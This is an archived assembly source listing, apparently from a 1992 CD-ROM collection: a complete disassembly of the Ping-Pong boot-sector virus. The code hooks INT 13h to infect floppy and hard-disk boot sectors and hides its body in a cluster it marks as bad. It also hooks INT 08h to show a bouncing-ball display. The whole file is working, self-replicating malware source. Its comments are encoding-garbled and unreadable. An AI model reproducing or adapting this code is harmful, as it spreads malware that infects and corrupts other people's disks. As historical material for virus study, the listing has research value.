home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-P.ZIP / PINGPONG.ASM < prev    next >
Assembly Source File  |  1992-12-07  |  13KB  |  607 lines

  1. ;    Advanced Fullscreen Disassembler v2.11
  2. ;    Copyright (C) by Rumen Gerasimov (GERISOFT), 1987, 1988
  3. ;
  4. ;    First listing: without DATA segment
  5. ;
  6. ;       Segment value: 0000, length: 0200
  7. ;
  8.  
  9. BIOS_SEG    SEGMENT at 0h
  10.     org    0020h
  11. D0020        dw    0
  12. D0022        dw    0
  13. INTERR8     label    far
  14.     org    004Ch
  15. D004C        dw    0
  16. D004E        dw    0
  17.     org    0413h
  18. D0413        dw    0
  19. BIOS_SEG    ends
  20.  
  21.  
  22. BOOT_SEG    SEGMENT at  7Ch
  23.     org    0
  24. BOOT_PROCESS    label far
  25. BOOT_SEG    ends
  26.  
  27.  
  28. DISK_ROM    SEGMENT at  0C800h
  29.     org    256h
  30. C800_SEG    label    far
  31. DISK_ROM    ends
  32.  
  33.  
  34.  
  35.  
  36.  
  37. SEG0000 segment public    para    'CODE'
  38.     assume    CS:SEG0000, ds:SEG0000
  39.  
  40. ;***********************************************************;
  41. ;          ÅÜÉéê æàèÆÄÉ - ìÇùÇïÄ ìÇ éêÉôæÇ            ;
  42. ;         ìÇîêÉÇ æà ìÇ boot sector ìÇ äêæèÇ            ;
  43. ;***********************************************************;
  44. ;  Æ│¬ áñ░Ñ▒║▓ Ñ 0000:7C00 ¿½¿ 07C0:0000
  45. ;
  46.     ORG    7C00h
  47.  
  48.     JMP    short L7C1E
  49.  
  50. D7C02    db    90h
  51.     db    'IBM  3.1'
  52.     DB    0
  53.     DB    2
  54. D7C0D    DB    2
  55. D7C0E    DW    1
  56.     DB    2
  57.     DB    70h
  58.     DB    0
  59. D7C13    DW    2D0h
  60.     DB    0FDh
  61.     DB    2
  62.     DB    0
  63. D7C18    DW    9    ;Sector per track - SecPTrk
  64. D7C1A    DW    2    ;Side per track   - SidPTrk
  65. D7C1C    DW    0
  66.  
  67. L7C1E:    XOR    AX,AX
  68.     MOV    SS,AX
  69.     MOV    SP,7C00h
  70.     MOV    DS,AX
  71.  
  72.     assume    ds:BIOS_SEG
  73.     MOV    AX,Word Ptr D0413    ;ìá¼á½┐óá BIOS MEMSIZE ▒ 2
  74.     SUB    AX,0002h
  75.     MOV    Word Ptr D0413,AX
  76.     assume    ds:SEG0000
  77.  
  78.     MOV    CL,06h
  79.     SHL    AX,CL
  80.     SUB    AX,07C0h
  81.     MOV    ES,AX            ;ES: ▒Ñú¼Ñ¡▓á ¡á ºáÑ▓¿▓Ñ 2è »á¼Ñ▓
  82.     MOV    SI,7C00h
  83.     MOV    DI,SI
  84.     MOV    CX,0100h
  85.     REPZ MOVSW            ;¼Ñ▒▓¿ ▒Ñ ▓á¼: ╢ѽ¿┐▓ ▒Ѭ▓«░
  86.  
  87.     db    08Eh,0C8h   ;MOV     CS,AX    ;»░Ññáóá │»░áó½Ñ¡¿Ñ▓« ¡á ¡«ó«▓« ¼┐▒▓«
  88.                     ;CS:7C00 - áñ░Ñ▒ ¡á ¡á╖Ὣ▓« ¡á ¬«ñá
  89.     PUSH    CS
  90.     POP    DS
  91.     CALL    L7C4A
  92.  
  93. L7C4A:    XOR    AH,AH            ;RESET ¡á INT 13
  94.     INT    13h
  95.     AND    Byte Ptr D7DF8,80h    ;ô▒▓░«⌐▒▓ó«▓« Ñ »║░ó¿ ñ¿▒¬ (A: - floppy
  96.                     ;                C: - hard
  97.  
  98.  
  99.     MOV    BX,Word Ptr D7DF9    ;ùÑ▓Ñ »║░ó¿┐▓ ▒Ѭ▓«░, ¬║ñÑ▓« Ñ »░«ñ║½-
  100.     PUSH    CS            ;ªÑ¡¿Ñ▓«
  101.     POP    AX
  102.     SUB    AX,0020h
  103.     MOV    ES,AX            ;adres = (CS - 20h):8000h
  104.     CALL    L7C9D
  105.  
  106.     MOV    BX,Word Ptr D7DF9    ;ùÑ▓Ñ ó▓«░¿┐▓ ▒Ѭ▓«░ «▓ »░«ñ║½ªÑ¡¿Ñ▓«
  107.     INC    BX            ; (¡«░¼á½¡¿┐▓ BOOT)
  108.     MOV    AX,0FFC0h        ;adres = 0000:7C00
  109.     MOV    ES,AX
  110.     CALL    L7C9D
  111.  
  112.     XOR    AX,AX
  113.     MOV    Byte Ptr D7DF7,AL    ;ù¿▒▓¿ ▒▓á▓│▒-íá⌐▓á (ºá »«▒½Ñ)
  114.     MOV    DS,AX
  115.  
  116.     assume    ds:BIOS_SEG
  117.     MOV    AX,Word Ptr D004C    ;çá¬á╖óá ▒Ñ ºá INT 13!
  118.     MOV    BX,Word Ptr D004E
  119.     MOV    Word Ptr D004C,offset NewINT13
  120.     MOV    Word Ptr D004E,CS
  121.     PUSH    CS
  122.     POP    DS
  123.     assume    ds:SEG0000
  124.     MOV    Word Ptr D7D2A,AX    ;çá»áºóá ▒▓á░¿┐▓ áñ░Ñ▒ ¡á INT 13
  125.     MOV    Word Ptr D7D2C,BX
  126.  
  127.     MOV    DL,Byte Ptr D7DF8    ;éºÑ¼á │▒▓░«⌐▒▓ó«▓« ºá BOOT ¿ ▒▓á░▓¿░á
  128.     jmp     BOOT_PROCESS         ;¡«░¼á½¡¿┐▓ BOOT process
  129.  
  130.  
  131.  
  132. ;================================================================;
  133. ;      ÅÉÄâÉÇîÇ çÇ ùàÆàìà  (L7C9D) ê çÇÅêæ (L7C98)         ;
  134. ;         ìÇ ïÄâêùàæèê æàèÆÄÉ ÄÆ äêæè             ;
  135. ;----------------------------------------------------------------;
  136. ;  BX - ▒Ѭ▓«░ «▓¡«▒¡« ¡á╖Ὣ▓«, ¬«⌐▓« ▓░┐íóá ñá ▒Ñ »░«╖Ñ▓Ñ     ;
  137. ;  ES:8000 - áñ░Ñ▒, ¬║ñÑ▓« ñá ▒Ñ »░«╖Ñ▓Ñ ▒Ѭ▓«░║▓         ;
  138. ;                                 ;
  139. ;  D7DF8   - │▒▓░«⌐▒▓ó«, «▓ ¬«Ñ▓« ╖Ñ▓Ñ                 ;
  140. ;                                 ;
  141. ;================================================================;
  142. L7C98:    MOV    AX,0301h
  143.     JMP    short L7CA0
  144.  
  145. L7C9D:    MOV    AX,0201h
  146. L7CA0:    XCHG    BX,AX
  147.     ADD    AX,Word Ptr D7C1C
  148.     XOR    DX,DX
  149.  
  150.     DIV    Word Ptr D7C18        ;»░Ñó░║╣á ½«ú¿╖Ñ▒¬¿┐▓ ▒Ѭ▓«░ ó AX
  151.     INC    DL            ; (0-7..) ó║ó Track, Side, Sector
  152.     MOV    CH,DL            ;ó ░Ñú¿▒▓░¿▓Ñ CX, DX (ºá INT 13)
  153.     XOR    DX,DX
  154.     DIV    Word Ptr D7C1A
  155.     MOV    CL,06h
  156.     SHL    AH,CL
  157.     OR    AH,CH
  158.     MOV    CX,AX
  159.     XCHG    CH,CL
  160.     MOV    DH,DL
  161.  
  162.     MOV    AX,BX
  163. L7CC3:    MOV    DL,Byte Ptr D7DF8    ;óºÑ¼á ¡«¼Ñ░á ¡á ñ¿▒¬á ºá ╖Ñ▓Ñ¡Ñ (A:)
  164.     MOV    BX,8000h
  165.     INT    13h
  166.     JNC    L7CCF
  167.     POP    AX            ;▒¬á»óá ▒▓Ѭᠿ ºáú¿óá, á¬« ¿¼á I/O err
  168. L7CCF:    RET
  169.  
  170.  
  171.  
  172. ;========================================================================;
  173. ;    ÆÇçê ÅÉÄâÉÇîÇ æà éÉÜçéÇ ìÇ îƒæÆÄÆÄ ìÇ êæÆêìæèêƒÆ  INT 13     ;
  174. ;========================================================================;
  175. NewINT13:
  176.     PUSH    DS            ;çá»áºóá ░Ñú¿▒▓░¿▓Ñ
  177.     PUSH    ES
  178.     PUSH    AX
  179.     PUSH    BX
  180.     PUSH    CX
  181.     PUSH    DX
  182.  
  183.     PUSH    CS            ;Ä»░áó┐ ▒ó«┐ DS ¿ ES
  184.     POP    DS
  185.     PUSH    CS
  186.     POP    ES
  187.  
  188.     TEST    Byte Ptr D7DF7,01h    ;Ǭ« Ñ 1 - ó║º»░«¿ºóѪñá¡Ñ ¡á ó¿░│▒á,
  189.     JNE    L7D23            ; «▓¿óá ñá »¿╕Ñ ▒║▒ ▒▓á¡ñá░▓. INT 13
  190.  
  191.     CMP    AH,02h            ;ùÑ▓Ñ¡Ñ ¡á ▒Ѭ▓«░?
  192.     JNE    L7D23            ;ìÑ, »░«ñ║½ªáóá ▒║▒ ▒▓á¡ñá░▓¡¿┐▓ INT 13
  193.  
  194.     CMP    Byte Ptr D7DF8,DL    ;ô▒▓░«⌐▒▓ó«▓« ▒║ó»áñá ▒ »«▒½Ññ¡«▓«
  195.     MOV    Byte Ptr D7DF8,DL    ; ▒ ¬«Ñ▓« Ñ ░áí«▓Ñ¡«
  196.     JNE    L7D12            ;ìÑ
  197.  
  198.     XOR    AH,AH            ;éºÑ¼á ó░ѼÑ▓«
  199.     INT    1Ah
  200.     TEST    DH,7Fh            ;í¿▓ 8000 ¡á low order part = 1?
  201.     JNE    L7D03            ;ñá, »░Ñ▒¬á╖á
  202.     TEST    DL,0F0h         ;í¿▓«óÑ 00F0 ¡á low order part = 1?
  203.     JNE    L7D03            ;ñá, »░Ñ▒¬á╖á
  204.                 ;Å░«┐óá: ¬«úá▓« TIMER .and. 80F0h == 0
  205.                 ;Å░¿í½¿º¿▓ѽ¡« ¡á 1800 ▒Ѭ. = 30 ¼¿¡.
  206.  
  207.     PUSH    DX
  208.     call    L7EB3            ;Å░«┐óá ¡á ó¿░│▒á - ▒¬á╖á »« Ñ¬░á¡á
  209.     POP    DX
  210.  
  211. L7D03:    MOV    CX,DX            ;Ä»░Ññѽ┐ ▓░┐íóá ½¿ ñá ºá░áº┐óá
  212.     SUB    DX,Word Ptr D7EB0    ; (»«ñ╡«ñ┐╣ ¼«¼Ñ¡▓ ó░ѼÑ)
  213.     MOV    Word Ptr D7EB0,CX
  214.     SUB    DX,+24h
  215.     JC    L7D23
  216.  
  217. L7D12:    OR    Byte Ptr D7DF7,01h    ;æ▓á░▓¿░á ó║º»░«¿ºóѪñá¡Ñ/ºá░áº┐óá¡Ñ
  218.     PUSH    SI
  219.     PUSH    DI
  220.     CALL    L7D2E
  221.     POP    DI
  222.     POP    SI
  223.     AND    Byte Ptr D7DF7,0FEh
  224.  
  225. L7D23:    POP    DX            ;é║º▒▓á¡«ó┐óá »«▓░Ñí¿▓ѽ▒¬¿▓Ñ ░Ñú¿▒▓░¿
  226.     POP    CX
  227.     POP    BX
  228.     POP    AX
  229.     POP    ES
  230.     POP    DS
  231. D7D2A    =    $+1
  232. D7D2C    =    $+3
  233.     jmp    c800_SEG        ;æ▓á░▓¿░á ¿▒▓¿¡▒¬¿┐▓ INT 13
  234.  
  235.  
  236.  
  237. ;================================================================;
  238. ;    éÜçÅÉÄêçéàåäÇìà ìÇ éêÉôæÇ ê çÇÉÇçƒéÇìà ìÇ ÅÉÄâÉÇîÇ     ;
  239. ;================================================================;
  240. L7D2E:    MOV    AX,0201h        ;ùÑ▓Ñ BOOT sector «▓ ñ¿▒¬á
  241.     MOV    DH,00h            ; BX = ?????????????????????? ¬║ñÑ, íÑ!
  242.     MOV    CX,0001h
  243.     CALL    L7CC3
  244.  
  245.     TEST    Byte Ptr D7DF8,80h    ;HARD DISK?
  246.     JE    L7D63            ;¡Ñ
  247.  
  248.     ;---- HARD DISK ----;
  249.     MOV    SI,81BEh        ;Æ║░▒¿ DOS partition
  250.     MOV    CX,0004h
  251. L7D46:    CMP    Byte Ptr [SI+04h],01h
  252.     JE    L7D58
  253.     CMP    Byte Ptr [SI+04h],04h
  254.     JE    L7D58
  255.     ADD    SI,+10h
  256.     LOOP    L7D46
  257.     RET                ;¡┐¼á DOS partition, ¡Ñ ºá░áº┐óá
  258.  
  259.     ;---- ìá¼Ñ░Ñ¡ Ñ DOS partition ----;
  260. L7D58:    MOV    DX,Word Ptr [SI]
  261.     MOV    CX,Word Ptr [SI+02h]
  262.     MOV    AX,0201h
  263.     CALL    L7CC3            ;ùÑ▓Ñ BOOT sector «▓ DOS partition
  264.  
  265.     ;---- Æ│¬ ¿ñóá á¬« Ñ ñ¿▒¬Ñ▓á, »░«╖Ñ▓Ñ¡ Ñ BOOT sector ----;
  266. L7D63:    MOV    SI,8002h
  267.     MOV    DI,offset D7C02
  268.     MOV    CX,001Ch
  269.     REPZ MOVSB            ;¼Ñ▒▓¿ BPB ▓áí½¿╢á▓á «▓ BOOT sector
  270.  
  271.     CMP    Word Ptr D8000+01FCh,1357h    ;çá░áºÑ¡ ½¿ Ñ ñ¿▒¬á?
  272.     JNE    L7D8B            ;¡Ñ
  273.  
  274.     CMP    Byte Ptr D8000+01FBh,00h    ;è║ñÑ ½¿ ▒«╖¿ DS?
  275.     JNC    L7D8A
  276.  
  277.     ;---- ä¿▒¬á Ñ ºá░áºÑ¡ ----;   ;---- Æ│¬ ¼á⌐ ¡┐¼á ñá ñ«⌐ñÑ ¡¿¬«úá? ----;
  278.     MOV    AX,Word Ptr D8000+01F5h     ;ü«ªá ░áí«▓á...
  279.     MOV    Word Ptr D7DF5,AX
  280.     MOV    SI,Word Ptr D8000+01F9h
  281.     jmp    L7E92
  282.  
  283. L7D8A:    RET
  284.  
  285.  
  286.  
  287. ;-------------------
  288. ;    äêæèÇ ìà à çÇÉÇçàì, ÅÄùéÇ çÇÉÇçƒéÇìàÆÄ
  289. ;
  290. L7D8B:    CMP    Word Ptr D8000+000Bh,0200h    ;Æ«óá ¡Ñ Ñ ¿¡▓Ñ░Ñ▒¡«
  291.     JNE    L7D8A
  292.     CMP    Byte Ptr D8000+000Dh,02h
  293.     JC    L7D8A
  294.     MOV    CX,Word Ptr D8000+000Eh
  295.     MOV    AL,Byte Ptr D8000+0010h
  296.     CBW
  297.     MUL    Word Ptr D8000+0016h
  298.     ADD    CX,AX
  299.     MOV    AX,0020h
  300.     MUL    Word Ptr D8000+0011h
  301.     ADD    AX,01FFh
  302.     MOV    BX,0200h
  303.     DIV    BX
  304.     ADD    CX,AX
  305.     MOV    Word Ptr D7DF5,CX
  306.     MOV    AX,Word Ptr D7C13
  307.     SUB    AX,Word Ptr D7DF5
  308.     MOV    BL,Byte Ptr D7C0D
  309.     XOR    DX,DX
  310.     XOR    BH,BH
  311.     DIV    BX
  312.     INC    AX
  313.     MOV    DI,AX
  314.     AND    Byte Ptr D7DF7,0FBh
  315.     CMP    AX,0FF0h
  316.     JBE    L7DE0
  317.     OR    Byte Ptr D7DF7,04h
  318. L7DE0:    MOV    SI,0001h
  319.     MOV    BX,Word Ptr D7C0E
  320.     DEC    BX
  321.     MOV    Word Ptr D7DF3,BX
  322.     MOV    Byte Ptr D7EB2,0FEh
  323.     JMP    short L7E00
  324.  
  325. D7DF3    DW    1
  326. D7DF5    DW    000Ch
  327. D7DF7    DB    1        ;▒▓á▓│▒-íá⌐▓:
  328.                 ;  0000 0001 - ▒▓á░▓¿░á¡« Ñ ó║º»░«¿ºóѪñá¡Ñ
  329.                 ;  0000 0010 - ºá¬á╖Ñ¡ Ñ ¡á INT 08
  330.                 ;  0000 0100
  331. D7DF8    DB    00    ;│▒▓░«⌐▒▓ó«: 0 - A:, 1 - B:, ...
  332. D7DF9    DW    274h    ;½«ú¿╖Ñ▒¬¿ ▒Ѭ▓«░, ¬║ñÑ▓« Ñ ºá»¿▒á¡« »░«ñ║½ªÑ¡¿Ñ▓«
  333.  
  334.  
  335.     DB    00
  336.  
  337.     DW    1357h        ;êìäêèÇÆÄÉ çÇ çÇÉÇçàì äêæè!!!!!!!!
  338.  
  339.     DW    0AA55h        ;¡«░¼á½Ñ¡ BOOT ▒Ѭ▓«░
  340.  
  341.  
  342. ;***********************************************************;
  343. ;       éÆÄÉê æàèÆÄÉ - ÅÉÄäÜïåàìêà ìÇ éêÉôæÇ         ;
  344. ;     ìÇîêÉÇ æà ìÇ bad sector ìÇéÜÆÉà é äêæèÇ        ;
  345. ;***********************************************************;
  346. L7E00:    INC    Word Ptr D7DF3
  347.     MOV    BX,Word Ptr D7DF3
  348.     ADD    Byte Ptr D7EB2,02h
  349.     call    L7C9D
  350.     JMP    short L7E4B
  351. L7E12:    MOV    AX,0003h
  352.     TEST    Byte Ptr D7DF7,04h
  353.     JE    L7E1D
  354.     INC    AX
  355. L7E1D:    MUL    SI
  356.     SHR    AX,1
  357.     SUB    AH,Byte Ptr D7EB2
  358.     MOV    BX,AX
  359.     CMP    BX,01FFh
  360.     JNC    L7E00
  361.     MOV    DX,Word Ptr D8000[BX]
  362.     TEST    Byte Ptr D7DF7,04h
  363.     JNE    L7E45
  364.     MOV    CL,04h
  365.     TEST    SI,0001h
  366.     JE    L7E42
  367.     SHR    DX,CL
  368. L7E42:    AND    DH,0Fh
  369. L7E45:    TEST    DX,0FFFFh
  370.     JE    L7E51
  371. L7E4B:    INC    SI
  372.     CMP    SI,DI
  373.     JBE    L7E12
  374.     RET
  375. L7E51:    MOV    DX,0FFF7h
  376.     TEST    Byte Ptr D7DF7,04h
  377.     JNE    L7E68
  378.     AND    DH,0Fh
  379.     MOV    CL,04h
  380.     TEST    SI,0001h
  381.     JE    L7E68
  382.     SHL    DX,CL
  383. L7E68:    OR    Word Ptr D8000[BX],DX
  384.     MOV    BX,Word Ptr D7DF3
  385.     call    L7C98
  386.     MOV    AX,SI
  387.     SUB    AX,0002h
  388.  
  389.     MOV    BL,Byte Ptr D7C0D
  390.     XOR    BH,BH
  391.     MUL    BX
  392.     ADD    AX,Word Ptr D7DF5
  393.     MOV    SI,AX
  394.     MOV    BX,0000h
  395.     call    L7C9D
  396.  
  397.     MOV    BX,SI
  398.     INC    BX
  399.     call    L7C98
  400.  
  401. L7E92:    MOV    BX,SI
  402.     MOV    Word Ptr D7DF9,SI
  403.     PUSH    CS
  404.     POP    AX
  405.     SUB    AX,0020h
  406.     MOV    ES,AX
  407.     call    L7C98
  408.  
  409.     PUSH    CS
  410.     POP    AX
  411.     SUB    AX,0040h
  412.     MOV    ES,AX
  413.     MOV    BX,0000h
  414.     call    L7C98
  415.     RET
  416.  
  417. D7EB0    DW    0EEF0h
  418. D7EB2    DB    0
  419.  
  420.  
  421. ;=======================================================;
  422. ;    çÇèÇùéÇìà çÇ int 08, ÇèÄ ìà à çÇèÇùàìÇ        ;
  423. ;=======================================================;
  424. L7EB3:    TEST    Byte Ptr D7DF7,02h
  425.     JNE    L7EDE
  426.     OR    Byte Ptr D7DF7,02h
  427.  
  428.     assume    ds:BIOS_SEG
  429.     MOV    AX,0000h        ;çá¬á╖óá ▒Ñ ¡á INT 8
  430.     MOV    DS,AX
  431.     MOV    AX,Word Ptr D0020
  432.     MOV    BX,Word Ptr D0022
  433.     MOV    Word Ptr D0020,offset NewINT08
  434.     MOV    Word Ptr D0022,CS
  435.     assume    ds:SEG0000
  436.     PUSH    CS
  437.     POP    DS
  438.     MOV    Word Ptr D7FC9,AX    ;çá»áºóá ▒▓á░¿┐▓ INT 8
  439.     MOV    Word Ptr D7FCB,BX
  440.  
  441. L7EDE:    RET
  442.  
  443.  
  444. ;=====================================================================;
  445. ;    ÆÇçê ÅÉÄâÉÇîÇ æà éÉÜçéÇ ìÇ îƒæÆÄÆÄ ìÇ êæÆêìæèêƒÆ int 08       ;
  446. ;=====================================================================;
  447. NewINT08:
  448.     PUSH    DS            ;çá»áºóá »«▓░Ñí¿▓ѽ▒¬¿▓Ñ ░Ñú¿▒▓░¿
  449.     PUSH    AX
  450.     PUSH    BX
  451.     PUSH    CX
  452.     PUSH    DX
  453.  
  454.     PUSH    CS            ;Ä»░áó┐ ▒«í▒▓óÑ¡¿┐▓ DS
  455.     POP    DS
  456.  
  457.     MOV    AH,0Fh            ;Get current video mode
  458.     INT    10h
  459.  
  460.     MOV    BL,AL
  461.     CMP    BX,Word Ptr D7FD4    ;mode = ▒▓á░¿┐▓ mode
  462.     JE    L7F27            ;ñá, »░«ñ║½ªáóá
  463.  
  464.     ;---- ÉѪ¿¼║▓ ¡á ñ¿▒»½Ñ⌐ Ñ »░«¼Ñ¡Ñ¡. ô▒▓á¡«ó┐ó┐ ¡«ó¿┐▓ ░Ѫ¿¼ ----;
  465.     MOV    Word Ptr D7FD4,BX    ;ºá»¿▒óá ▒▓░á¡¿╢á▓á ¿ mode
  466.     DEC    AH
  467.     MOV    Byte Ptr D7FD6,AH    ;ºá»áºóá char_per_line-1
  468.  
  469.     MOV    AH,01h
  470.     CMP    BL,07h            ;mode = text b/w MGA, EGA?
  471.     JNE    L7F05            ;¡Ñ
  472.     DEC    AH
  473.  
  474. L7F05:    CMP    BL,04h            ;mode = graphics?
  475.     JNC    L7F0C            ;ñá
  476.     DEC    AH
  477.  
  478. L7F0C:    MOV    Byte Ptr D7FD3,AH
  479.     MOV    Word Ptr D7FCF,0101h
  480.     MOV    Word Ptr D7FD1,0101h
  481.  
  482.     MOV    AH,03h            ;Read cursor position and size
  483.     INT    10h
  484.  
  485.     PUSH    DX            ;çá»áºóá »«º¿╢¿┐▓á ¡á ¬│░▒«░á
  486.  
  487.     MOV    DX,Word Ptr D7FCF
  488.     JMP    short L7F4A
  489.  
  490.  
  491.     ;---- ÉѪ¿¼║▓ ¡á ñ¿▒»½Ñ┐ (mode) ¡Ñ Ñ »░«¼Ñ¡┐¡ ----;
  492. L7F27:    MOV    AH,03h            ;Read cursor position and size
  493.     INT    10h
  494.  
  495.     PUSH    DX            ;çá»áºóá cursor pos & size
  496.  
  497.     MOV    AH,02h            ;Set cursor position
  498.     MOV    DX,Word Ptr D7FCF
  499.     INT    10h
  500.  
  501.     MOV    AX,Word Ptr D7FCD    ;Ä»░Ññѽ┐ ¬á¬ó« ñá »¿╕Ñ »« Ñ¬░á¡á
  502.     CMP    Byte Ptr D7FD3,01h    ;mode = GRAPF?
  503.     JNE    L7F41            ;¡Ñ
  504.     MOV    AX,8307h
  505.  
  506. L7F41:    MOV    BL,AH            ;Write character & attribute
  507.     MOV    CX,0001h
  508.     MOV    AH,09h
  509.     INT    10h
  510.  
  511.  
  512.  
  513.     ;---- è«░¿ú¿░á »«º¿╢¿┐▓á ¡á ¬│░▒«░á ----;
  514. L7F4A:    MOV    CX,Word Ptr D7FD1
  515.  
  516.     CMP    DH,00h            ;Up
  517.     JNE    L7F58
  518.     XOR    CH,0FFh
  519.     INC    CH
  520.  
  521. L7F58:    CMP    DH,18h            ;Down
  522.     JNE    L7F62
  523.     XOR    CH,0FFh
  524.     INC    CH
  525.  
  526. L7F62:    CMP    DL,00h            ;Left
  527.     JNE    L7F6C
  528.     XOR    CL,0FFh
  529.     INC    CL
  530.  
  531. L7F6C:    CMP    DL,Byte Ptr D7FD6    ;Right
  532.     JNE    L7F77
  533.     XOR    CL,0FFh
  534.     INC    CL
  535.  
  536. L7F77:    CMP    CX,Word Ptr D7FD1
  537.     JNE    L7F94
  538.     MOV    AX,Word Ptr D7FCD
  539.     AND    AL,07h
  540.     CMP    AL,03h
  541.     JNE    L7F8B
  542.     XOR    CH,0FFh
  543.     INC    CH
  544. L7F8B:    CMP    AL,05h
  545.     JNE    L7F94
  546.     XOR    CL,0FFh
  547.     INC    CL
  548.  
  549. L7F94:    ADD    DL,CL
  550.     ADD    DH,CH
  551.     MOV    Word Ptr D7FD1,CX
  552.     MOV    Word Ptr D7FCF,DX
  553.     MOV    AH,02h
  554.     INT    10h            ;Set cursor position
  555.  
  556.     MOV    AH,08h            ;Read character & attribute
  557.     INT    10h
  558.  
  559.     MOV    Word Ptr D7FCD,AX
  560.     MOV    BL,AH
  561.     CMP    Byte Ptr D7FD3,01h    ;mode = GRAPH?
  562.     JNE    L7FB6            ;¡Ñ
  563.     MOV    BL,83h
  564.  
  565. L7FB6:    MOV    CX,0001h        ;Write character & attribute
  566.     MOV    AX,0907h
  567.     INT    10h
  568.  
  569.     POP    DX            ;Restore cursor position
  570.     MOV    AH,02h
  571.     INT    10h
  572.  
  573.     POP    DX            ;é║º▒▓á¡«ó┐óá »«▓░Ñí¿▓ѽ▒¬¿▓Ñ ░Ñú¿▒▓░¿
  574.     POP    CX
  575.     POP    BX
  576.     POP    AX
  577.     POP    DS
  578. D7FC9    =    $+1
  579. D7FCB    =    $+3
  580.     JMP    INTERR8         ;Ä▓¿óá ¡á ¿▒▓¿¡▒¬¿┐▓ INT 08
  581.  
  582. D7FCD    DW    0
  583. D7FCF    DW    0101h            ;Éáí«▓¡á »«º¿╢¿┐ ¡á Ñ¬░á¡á ¡á ó¿░│▒á
  584. D7FD1    DW    0101h
  585. D7FD3    DB    0            ; 1 - mode = graph, b800
  586.                     ; 0 - mode = text,  b800
  587.                     ;-1 - mode = 7, text b/w EGA,HGA
  588.  
  589. D7FD4    DW    0FFFFh            ;▒Ἷ┐▓ mode
  590. D7FD6    DB    50h            ;í░«⌐ ▒¿¼ó«½¿ ¡á ░Ññ
  591.  
  592.  
  593.     DB    0B7h,0B7h,0B7h,0B6h,040h,040h,088h,0DEh
  594.     DB    0E6h,05Ah,0ACh,0D2h,0E4h,0EAh,0E6h,040h
  595.     DB    050h,0ECh,040h,064h,05Ch,060h,052h,040h
  596.     DB    040h,040h,040h,064h,062h,05Eh,062h,060h
  597.     DB    05Eh,070h,06Eh,040h,041h,0B7h,0B7h,0B7h
  598.     DB    0B6h
  599.  
  600.  
  601. ;*************************************************************
  602. ;          ÉÇüÄÆìÇ ÄüïÇæÆ ìÇ éêÉôæÇ
  603. D8000    =    $
  604.  
  605. SEG0000 ends
  606.     END
  607.